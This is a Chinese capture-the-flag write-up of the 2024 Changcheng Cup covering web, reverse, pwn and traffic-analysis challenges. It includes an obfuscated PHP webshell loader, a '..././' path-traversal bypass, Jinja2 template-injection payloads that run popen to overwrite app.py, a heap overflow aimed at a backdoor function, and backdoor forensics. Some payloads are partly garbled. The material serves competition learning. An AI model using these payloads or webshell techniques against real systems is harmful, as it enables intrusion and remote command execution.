WEB安全部分题解
hello_web
来到主页可以发现一个base64编码得东西,但是这个东西不要管!没啥用!
打开源码发现了tips!
分别访问发现没啥用,源码里面也是没有东西的,那么就可以猜测,这里的../是不是被过滤了!我们可以使用 ..././ 来进行绕过!
tips文件是一个phpinfo,这里禁用的函数也太多了!
发现是一段php代码!
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
这段代码其实看最后的结果也就是执行了eval,我们在本地把代码运行起来!直接echo eval函数执行的base64代码!
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
echo $YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==")
?>
得到变量$uWcdaA和eval执行的代码!
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
我们继续修改代码!
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
//echo $YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==")
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
echo $OxirhK($YpAUWC($uWcdaA,$rVkKjU2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU));
?>
得到base64,解码查看!
得到密码了,我们进行连接,使用蚁剑即可!连接路径:
txt
http://eci-2zed8l51f9k8f9ptch3w.cloudeci1.ichunqiu.com/index.php?file=..././hackme.php
这里的hackme.php就是我们要连接木马文件!这里返回空???
把密码的下划线改成中括号即可!这是php低版本的特性,这里就不细说了,基本打过php题的都知道!
拿到shell之后,发现我们别并没有权限,我们使用自带的插件进行提权!
这是没绕之前的!
选择UserFilter,这里就可以成功拿到完整的shell了!
发现,我们的命令可以成功执行了!
txt
find / -name flag -type f 2>/dev/null
find 命令搜一下flag即可!拿到flag了!下班!
txt
flag{c77c5a2d-794e-402e-b3f1-972a3e9309c3}
Safe_Proxy
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods="GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return'<pre>'+html.escape(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n']
for black in blacklist:
if black in template_code:
return"Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return'ok'if result is not None else'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"rnrn")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OKrn"
b"Content-Length: " + str(len(response_body)).encode() + b"rn"
b"Content-Type: text/html; charset=utf-8rn"
b"rn" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
这里给了源码,而且也给了waf代码,所以就很好绕过了!过滤了下划线和一血常用函数和模块!下划线的话我们使用 '+' 就可以绕过!常用函数和模块我们使用他们的替代品也是可以绕过的!这里参数是code,通过post进行传参!这是前面一部分代码!!然后代理服务器代码:
python
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"rnrn")
if header_end != -1:
body = response_data[header_end + 4 :]
else:
body = response_data
response_body = body
response = (
b"HTTP/1.1 200 OKrn"
b"Content-Length: " + str(len(response_body)).encode() + b"rn"
b"Content-Type: text/html; charset=utf-8rn"
b"rn" + response_body
)
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(
f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}..."
)
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(
target=proxy_handler.handle_request, args=(client_socket,)
)
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
首先,代码定义了一个名为HTTPProxyHandler
的类,这个类负责处理HTTP请求的转发和响应的接收。在__init__
方法中,初始化目标主机和端口,这些是代理服务器将要转发请求的服务器。
handle_request
方法处理客户端的请求。它首先创建一个字节字符串request_data
来存储从客户端接收的数据。使用一个循环来接收数据,每次接收4096字节,直到没有更多数据可接收。
如果接收的数据为空,表示客户端没有发送数据,直接关闭客户端套接字并返回。然后创建一个代理套接字proxy_socket
,连接到目标服务器,并发送从客户端接收的请求数据。然后,通过循环接收目标服务器的响应数据,直到没有更多数据可接收。然后从响应数据中提取响应体。HTTP响应的头部和主体之间有两个换行符(rnrn
),所以使用rfind
找到最后一个rnrn
的位置,然后提取其后的数据作为响应体,构建HTTP响应,设置状态码为200 OK,内容长度为响应体的长度,并指定内容类型为text/html,字符集为utf-8。然后,将构建好的响应发送回客户端。最后,捕获可能发生的异常,并在finally块中确保客户端套接字被关闭。
接下来是启动代理服务器的函数start_proxy_server
。start_proxy_server
函数创建一个代理处理器实例,并设置服务器套接字监听指定的主机和端口。当有客户端连接时,接受连接,打印连接地址,并为每个连接创建一个线程来处理请求。使用threading.Thread
来处理每个客户端请求,设置线程为守护线程,这样主程序退出时,这些线程也会退出。最后,通过捕获KeyboardInterrupt
来优雅地关闭服务器。
这个代理服务器是一个基本的HTTP代理,它不处理HTTPS流量,也不处理HTTP头部的修改或请求的缓存。在实际应用中,可能需要更复杂的逻辑来处理不同的HTTP方法、保持连接、处理 Cookies 等所以后半段代码并没有太大的多用,无非就是不出网了!这里可以看到不回显,所以我们只能想办法进行文件覆盖!
改一下代码,在本地进行调试,这里我让他回显了出来!
没问题,我们使用焚靖生成一个覆盖其他文件的payload即可!
因为我们要覆盖app.py文件,所以我们要先查看flag的位置,所以我们先 ls / >app.py
生成了我们需要的payload:
{%set gl='_'2+'globals'+'_'2%}{%set bu='_'2+'builtins'+'_'2%}{%set im='_'2+'i''mport'+'_'2%}{%set hz='so'[::-1]%}{{cycler.next[gl][bu][im'p''open'.read()}}
然后我们访问主页!
可以看到flag就在/目录下!
再次生成
python
{%set gl='_'2+'globals'+'_'2%}{%set bu='_'2+'builtins'+'_'2%}{%set im='_'2+'i''mport'+'_'*2%}{%set hz='so'::-1]%}{{cycler.next[gl][bu][im'p''open'.read()}}
拿到flag,下班!
flag{33e867fa-bc40-4031-8075-a16e77a9b5c4}
或者直接用Unicode编码进行绕过也是可以的!
{%print((((lipsum|attr("u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu0
05f"))|attr("u0067u0065u0074")("u006fu0073"))|attr("u0070u006fu0070u0065u006e")
("cat%20%2Fflag%20%3E%20app.py"))|attr("u0072u0065u0061u0064")())%}
逆向工程部分题解
dump
有此可见这是一个加密程序
加密数据
直接选择爆破
得到结果后按照这个改一下就行
ezCsky
是一个RC4与与异或
找到密文
然后在main函数中找到了key
XOR
就是倒序的前⼀位与后⼀位异或
Pwn部分题解
anote
首先看一下
发现开启了 nx 和 canary
发现是小端序的,那就再去看看main函数
这里发现是c++写的,然后去看804895c里面
发现就是输出的菜单
然后发现这里读取一个整数到 v22
然后就会根据用户的输入进行相应的执行,是个菜单模式
等于1的时候就可以去分配一个新的内存
等于2的时候就会检查输入是否有效,无效就会输出错误信息退出
等于3检查输入是否有效,然后就会输出 index,读取新的内容,并且会检查输入长度是否超 过40
当v23超过9 的时候会退出。
同时这里还发现了后门函数,而且同时题目会泄露一个地址,那么就好办了。这里主要是去越 界修改第二个堆块的地址,修改成指向后门函数的地址
最后去编辑第二个堆块为指向后门函数的地址
威胁检测与网络流量分析部分题解
zeroshell
通过数据包,找到数据包,直接搜,利用flag的base64编码去搜
这样就可以拿到了
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
通过上一个flag的地方,找到了命令执行的地方
然后找到了前面的命令
直接到环境中,也是可以用的
那么就可以去执行命令了,那么就可以直接去搜索flag文件
这里直接使用netstat,找到外联可疑IP
这里可以去看一下 使用该漏洞的poc进行命令执行,我们即可拿到pid
这里就可以找到文件
flag{.nginx}
这里把那个文件给拿下来分析就可以
这里因为没办法直接下载,使用xxd命令查看 .nginx 文件的16进制,然后就可以保存下来,这 里去反编译一下拿下来的文件
这里发现就这一个比较可疑,而且有一定规律,发现这个就是密钥
flag{11223344qweasdzxc}
通过grep命令去找含有后门文件地址内容的文件
然后在这里去查看这个文件的内容,发现确实是启动项文件
flag{/var/register/system/startup/scripts/nat/File}
WinFT
分析他的对外连接的IP进⾏分析,还得到了域名
flag{miscsecure.com:192.168.116.130:443}
通过打开任务计划表
先base64解码,再⽤厨⼦去解码
就得到flag了
旁边就是密码
注:鼎星安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(鼎新安全):2024年长城杯Web-Re-Pwn-威胁检测与网络流量分析-题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论